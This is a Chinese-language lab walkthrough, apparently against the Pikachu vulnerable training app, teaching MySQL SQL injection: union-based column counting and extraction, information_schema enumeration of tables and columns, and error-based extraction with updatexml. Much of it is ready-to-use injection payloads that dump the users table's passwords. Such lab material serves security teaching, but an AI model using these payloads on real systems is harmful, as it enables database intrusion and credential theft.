一 union注入
01 Union操作符演示
union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。
输入select id,email from member where username='kevin' union select username,pw from member where id=1;
注:union操作符一般与order by语句配合使用
02 查询主查询字段
因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。
01 输入a’ order by 3#%,反馈如图:
02 输入a’ order by 4#%,反馈如图:
通过这个简单的办法找到主查询一共有三个字段。
03 union注入
01 输入构造好的语句a’ union select 1,2,3#%,反馈如图:
02 输入构造好的语句a’ union select database(),user(),version()#%,反馈如图:
二 information_schema注入
information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。
注:MySQL版本5.0以上才支持information_schema数据库。
01 获取pikachu数据库的表名
查询mysql数据库
输入:u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
02 获取pikachu数据库的字段名
查询mysql数据库
输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
03 获取pikachu数据库的字段值
输入:kobe'union select id,username ,password from users#%
三 基于函数报错注入
01 技巧思路
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入
都可以使用报错方式来获取信息。
02 背景条件
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
03 基于报错的信息获取(三个常用的用来报错的函数)
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor() :MYSQL中用来取整的函数。
04 基于报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
05 实战测试
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表(获取数据库表名)
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
更改limit后面的数字limit 0完成表名遍历。
5、爆字段(获取字段名)
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0)#
6、爆字段内容(获取字段内容)
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#